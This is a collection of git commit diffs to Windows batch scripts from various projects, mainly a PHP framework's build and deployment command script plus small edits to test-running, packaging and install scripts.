-	echo "		make build - building application"
-	echo "		make composer - updating composer repositories"
-	echo "		make permissions - granting permissions"
-	echo "  Verbose:"
-	echo "		Some commands support verbose mode that would provide additional information, to enable - add "verbose=1" after make."
-	echo "		For example: make verbose=1 schema_test"
-)
-
-REM force execution to quit at the end of the "main" logic
-exit /B %ERRORLEVEL%
-
-:permissions
-	REM	@-chmod -R 0777 $(shell pwd);
-	REM	@-chmod -R 0777 $(shell pwd)/../cache;
-	REM	@-chmod -R 0777 $(shell pwd)/../documents;
-exit /B 0
-
-:composer
-	chdir /D libraries
-	IF EXIST "vendor" (
-		rmdir vendor
-	)
-	call composer update --prefer-source
-	chdir /D vendor
-	for /f "tokens=* delims=" %%i in ('dir /s /b /a:d *.git') do (
-		rd /s /q "%%i"
-	)
-	chdir /D ..
-	chdir /D ..
-exit /B 0
-
+@ECHO OFF
+SETLOCAL
+SET command=%1
+SET verbose=1
+
+REM all
+IF "%command%"=="all" (
+	SET var=deployment_production
+)
+
+REM building application
+IF "%command%"=="build" (
+	REM create empty git repository
+	IF NOT EXIST ".git" (
+		call git init
+	)
+	REM granting permissions
+	CALL :permissions
+	REM run composer for the first time
+	IF NOT EXIST "libraries/vendor/Numbers/Framework/System/Managers" (
+		call :composer
+	)
+	REM process dependencies
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php dependency commit 0 1
+	REM run composer for the second time
+	call :composer
+	REM granting permissions
+	CALL :permissions
+	REM deploying code in production mode
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php deployment production 0 1
+)
+
+REM ----------------------------------------------------------------------------------------------------------------
+REM --- Dependencies -----------------------------------------------------------------------------------------------
+REM ----------------------------------------------------------------------------------------------------------------
+IF "%command%"=="dependency_test" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php dependency test 0
+)
+IF "%command%"=="dependency_commit" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php dependency commit 0 2
+)
+
+REM ----------------------------------------------------------------------------------------------------------------
+REM --- Deployment commands ----------------------------------------------------------------------------------------
+REM ----------------------------------------------------------------------------------------------------------------
+IF "%command%"=="deployment_production" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php deployment production "%verbose%"
+)
+IF "%command%"=="deployment_development" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php deployment development "%verbose%"
+)
+
+REM ----------------------------------------------------------------------------------------------------------------
+REM --- Schema & migration commands --------------------------------------------------------------------------------
+REM ----------------------------------------------------------------------------------------------------------------
+IF "%command%"=="schema_test" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php schema test "%verbose%"
+)
+IF "%command%"=="schema_commit" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php schema commit "%verbose%"
+)
+IF "%command%"=="schema_drop" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php schema drop "%verbose%"
+)
+IF "%command%"=="migration_code_test" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_code test "%verbose%"
+)
+IF "%command%"=="migration_code_commit" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_code commit "%verbose%"
+)
+IF "%command%"=="migration_code_drop" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_code drop "%verbose%"
+)
+IF "%command%"=="migration_db_test" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_db test "%verbose%"
+)
+IF "%command%"=="migration_db_commit" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_db commit "%verbose%"
+)
+IF "%command%"=="migration_db_rollback" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_db rollback "%verbose%"
+)
+
+REM --------------------------------------------------------------------------------------------------------------------------------------------
+REM --- Unit testing commands ------------------------------------------------------------------------------------------------------------------
+REM --------------------------------------------------------------------------------------------------------------------------------------------
+IF "%command%"=="unit_testing_application" (
+	call phpunit --debug --configuration application/overrides/unit_tests/application.xml
+)
+IF "%command%"=="unit_testing_submodules" (
+	call phpunit --debug --configuration application/overrides/unit_tests/submodules.xml
+)
+
+REM --------------------------------------------------------------------------------------------------------------------------------------------
+REM --- Cache commands -------------------------------------------------------------------------------------------------------------------------
+REM --------------------------------------------------------------------------------------------------------------------------------------------
+IF "%command%"=="cache_drop" (
+	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php cache drop "%verbose%"
+)
+
+REM --------------------------------------------------------------------------------------------------------------------------------------------
+REM --- Help commands --------------------------------------------------------------------------------------------------------------------------
+REM --------------------------------------------------------------------------------------------------------------------------------------------
+IF "%command%"=="help" (
+	echo "Available commands:"
+REM	echo   Development commands:
+REM	echo		make development_test - run a test php script from command line
+REM	echo		make development_symlink_framework - link to numbers framework repositories
+	echo "  Deployment commands:"
+	echo "		make deployment_production - deploying code in production mode"
+	echo "		make deployment_development - deploying code in development mode"
+	echo "  Unit testing commands:"
+	echo "		make unit_testing_application - test application"
+	echo "		make unit_testing_submodules - test framework and submodules"
+	echo "  Schema & migration commands:"
+	echo "		make schema_test - test for changes between code and database"
+	echo "		make schema_commit - commit changes from code to database"
+	echo "		make schema_drop - drop schema in database (empty database)"
+	echo "		make migration_code_test - test for changes between code and saved migrations"
+	echo "		make migration_code_commit - commit changes from code to migrations"
+	echo "		make migration_code_drop - drop migrations from the code"
+	echo "		migration_db_test - test migration between code and database"
+	echo "		migration_db_commit - commit changes from migrations to database"
+	echo "		migration_db_rollback - rollback to particular migration"
+	echo "  Dependencies:"
+	echo "		make dependency_test - testing dependencies in test mode"
+	echo "		make dependency_commit - commit dependency changes"
+	echo "  Caches:"
+	echo "		make cache_drop - reset caches"
+	echo "  Verbose:"
+	echo "		Some commands support verbose mode that would provide additional information, to enable - add "verbose=1" after make."
+	echo "		For example: make verbose=1 schema_test"
+)
+
+REM force execution to quit at the end of the "main" logic
+exit /B %ERRORLEVEL%
+
+:permissions
+	REM	@-chmod -R 0777 $(shell pwd);
+	REM	@-chmod -R 0777 $(shell pwd)/../cache;
+	REM	@-chmod -R 0777 $(shell pwd)/../documents;
+exit /B 0
+
+:composer
+	chdir /D libraries
+	IF EXIST "vendor" (
+		rmdir vendor
+	)
+	call composer update --prefer-source
+	chdir /D vendor
+	for /f "tokens=* delims=" %%i in ('dir /s /b /a:d *.git') do (
+		rd /s /q "%%i"
+	)
+	chdir /D ..
+	chdir /D ..
+exit /B 0
+


run in virtualenv

run in virtualenv

Signed-off-by: Kenneth Reitz <b1c1d8736f20db3fb6c1c66bb1455ed43909f0d8@kennethreitz.org>

--- run-tests.bat
+++ run-tests.bat
@@ -1,4 +1,6 @@
-pip install -e . --upgrade --upgrade-strategy=only-if-needed
-pipenv install --dev
+virtualenv .venv
+.venv\Scripts\pip install -e . --upgrade --upgrade-strategy=only-if-needed
+.venv\Scripts\pipenv install --dev

-pipenv run pytest -v tests --tap-stream | tee results.tap+
+.venv\Scripts\pipenv run pytest -v tests --tap-stream | tee results.tap


Attempt at run-tests.cmd

Attempt at run-tests.cmd

error: pathspec 'run-tests.cmd' did not match any file(s) known to git

--- run-tests.cmd
+++ run-tests.cmd
@@ -0,0 +1,3 @@
+fezc test\basics.fs
+FOR %%f in (test\*.erl) DO erlc +clint -o test "%%f"
+erl -noshell -pa ebin test -eval "eunit:test(basics_tests, [verbose])" -s init stop


Write empty build.info on local run

Write empty build.info on local run

--- run_local.cmd
+++ run_local.cmd
@@ -2,7 +2,7 @@
 pushd %~dp0
 set DEPLOYMENT=deploy
 set NUGET=packages
-echo > build.info
+echo. 2> build.info
 call deploy.cmd
 call run_tests.cmd %*
 popd


"press any key to continue..." feature added :)

git-svn-id: ee7a57951e762bd0bd73821a456cc95fa2e543d2@4660 1105ee14-b0fa-0310-85a5-ff3eed429ff7

--- run_tests.bat
+++ run_tests.bat
@@ -26,3 +26,5 @@
 rem %cur%/tests/coverage.py -r %m --omit=/usr/lib,%cur%/tests,%cur%/py
 rem echo "#### STATS FOR UMPA [ FINISH ] ####"
 rem cd %cur%
+
+pause


secure-copy.cmd_ Updated commons-io-2.10.0.jar ref

Also added %JAVA_OPS% to enable passing -Xmx10G -Xms10G externally

--- secure-copy.cmd
+++ secure-copy.cmd
@@ -1 +1 @@
-java -cp target\classes;target\lib\commons-io-2.4.jar;target\classes;target\lib\commons-codec-1.10.jar org.securecopy.SecureCopy %*+java %JAVA_OPTS% -cp target\classes;target\lib\commons-io-2.10.0.jar;target\classes;target\lib\commons-codec-1.10.jar org.securecopy.SecureCopy %*


Removed old android images, small change to build.bat (#97)

--- android/_build.bat
+++ android/_build.bat
@@ -1,6 +1,6 @@
-@echo off
-if "%1" == "" (
-	echo Please specify the project folder for running the build
+rem @echo off
+if NOT EXIST %1 (
+	echo Please specify a valid project folder for running the build
 ) else (
 	mkdir bin
 	cd %1


Update build.bat

Update build.bat

--- build_settings/win/build.bat
+++ build_settings/win/build.bat
@@ -34,4 +34,4 @@

 pyinstaller --additional-hooks-dir %BUILDSETTINGSDIR%\hooks --name %PROJECTNAME% --icon %BUILDSETTINGSDIR%\mouse.ico %MAINSCRIPT%

-python zip.py "%WORKSPACE%\dist\pythonVideoAnnotator" "%WORKSPACE%\dist\pythonVideoAnnotator.zip"
+python %WINPYDIR%\Scripts\zip.py "%WORKSPACE%\dist\pythonVideoAnnotator" "%WORKSPACE%\dist\pythonVideoAnnotator.zip"


+ SCRIPT run_wikt_parser.bat

+ SCRIPT run_wikt_parser.bat

error: pathspec 'wikt_parser/doc/run_wikt_parser.bat' did not match any file(s) known to git

--- wikt_parser/doc/run_wikt_parser.bat
+++ wikt_parser/doc/run_wikt_parser.bat
@@ -0,0 +1,12 @@
+:: %1 language_code - language code of MySQL Wiktionary database to be parsed
+:: %2 n_start_from - number of records in database to start from
+:: e.g.: en 0, or ru 20000
+
+java -cp ./dist/wikt_parser.jar;./dist/lib/mysql-connector-java-5.1.13-bin.jar;./dist/lib/common_wiki.jar -Xms1212m -Xmx1212m -Xmn16m -XX:+DisableExplicitGC wikt.parser.Main %1 %2 > enwikt20100824_parsed_06.log
+
+:: java -cp ./dist/wikt_parser.jar;./dist/lib/mysql-connector-java-5.1.13-bin.jar;./dist/lib/common_wiki.jar -Xms1212m -Xmx1212m -Xmn16m -XX:+DisableExplicitGC -verbose:gc wikt.parser.Main %1 %2 > enwikt20100106_parsed_02.log
+
+::javafx -cp ./dist/wiwordik.jar;./dist/lib/mysql-connector-java-5.1.13-bin.jar;./dist/lib/sqlite-jdbc-3.6.17.1.jar;./dist/lib/common_wiki.jar wiwordik.Main
+:: javafx -verbose -cp ./dist/wiwordik.jar;./dist/lib/mysql-connector-java-5.1.13-bin.jar;./dist/lib/sqlite-jdbc-3.6.17.1.jar;./dist/lib/common_wiki.jar wiwordik.Main
+
+:: javafx -cp ./wiwordik/dist/wiwordik.jar;./common_wiki/lib/mysql-connector-java-5.1.13-bin.jar;./common_wiki/lib/sqlite-jdbc-3.6.17.1.jar;./common_wiki/dist/common_wiki.jar wiwordik.Main


Update install.bat

Update install.bat

--- conda/install.bat
+++ conda/install.bat
@@ -12,7 +12,7 @@

 set ANACONDA_CHANNEL_FLAGS=
 for %%i in (%ANACONDA_CHANNELS%) do (
-    set "ANACONDA_CHANNEL_FLAGS=!ANACONDA_CHANNEL_FLAGS! -c %%i"
+    set "ANACONDA_CHANNEL_FLAGS=%%ANACONDA_CHANNEL_FLAGS%% -c %%i"
 )

 if "%ANACONDA_INSTALL_RECIPES%" == "" (
@@ -28,7 +28,7 @@
 echo ON

 for %%i in (%ANACONDA_INSTALL_RECIPES%) do (
-    conda install %%i --use-local %ANACONDA_CHANNEL_FLAGS% %ANACONDA_INSTALL_FLAGS%
+    conda install %%i --use-local %%ANACONDA_CHANNEL_FLAGS%% %ANACONDA_INSTALL_FLAGS%
     if errorlevel 1 (
         exit /b 1
     )


update comment

update comment

--- auto_load.bat
+++ auto_load.bat
@@ -2,9 +2,6 @@
 rem print usage message
 echo Usage: This script allows the user to run the python script
 echo "gomez_load_data.py" for any number of consecutive days.
-echo Before running make sure that the script is in the same directory, and
-echo that USE_TZ is set to True in settings.py (switch back to False when
-echo using calc_monthly_data.py but keep True if using calc_weekly_data.py).
 echo Make sure to use single digits if the day or month you are inputting
 echo is a single digit (e.g. 1 instead of 01 for January).
 pause